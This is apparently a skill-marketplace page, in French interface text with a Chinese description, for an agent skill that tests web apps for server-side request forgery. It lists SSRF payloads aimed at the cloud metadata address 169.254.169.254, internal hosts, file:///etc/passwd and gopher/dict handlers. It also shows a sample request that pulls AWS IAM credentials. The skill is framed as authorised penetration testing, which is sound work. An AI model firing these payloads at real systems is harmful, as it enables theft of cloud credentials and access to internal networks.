L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Productivité · SKILL.md

performing-ssrf-vulnerability-exploitation

performing-ssrf-vulnerability-exploitation

通过探测云元数据端点、内网服务和协议处理器,检测用户可控 URL 参数中的 服务端请求伪造(SSRF)漏洞。测试 AWS/GCP/Azure 元数据 API(169.254.169.254)、 通过 HTTP 进行内网端口扫描、URL 协议绕过技术以及 DNS 重绑定检测。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: performing-ssrf-vulnerability-exploitation description: >- 通过探测云元数据端点、内网服务和协议处理器,检测用户可控 URL 参数中的 服务端请求伪造(SSRF)漏洞。测试 AWS/GCP/Azure 元数据 API(169.254.169.254)、 通过 HTTP 进行内网端口扫描、URL 协议绕过技术以及 DNS 重绑定检测。 domain: cybersecurity subdomain: security-operations tags: [performing, ssrf, vulnerability, exploitation] version: "1.0" author: mahipal license: Apache-2.0

说明

  1. 安装依赖:pip install requests
  2. 识别目标应用中接受 URL 或主机名的 URL 参数。
  3. 测试 SSRF 载荷:
    • 云元数据:http://169.254.169.254/latest/meta-data/
    • 内网服务:http://127.0.0.1:port/、http://10.0.0.1/
    • 协议处理器:file:///etc/passwd、gopher://、dict://
    • 绕过技术:IP 编码、DNS 重绑定、URL 重定向
  4. 分析响应,确认信息泄露或内网访问。
  5. 生成漏洞评估报告。
# 仅用于已授权的渗透测试和实验室环境
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json

示例

AWS 元数据 SSRF

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

如果响应中包含 AWS 凭据(AccessKeyId、SecretAccessKey),则证实存在高危 SSRF 漏洞。

Skills enregistrées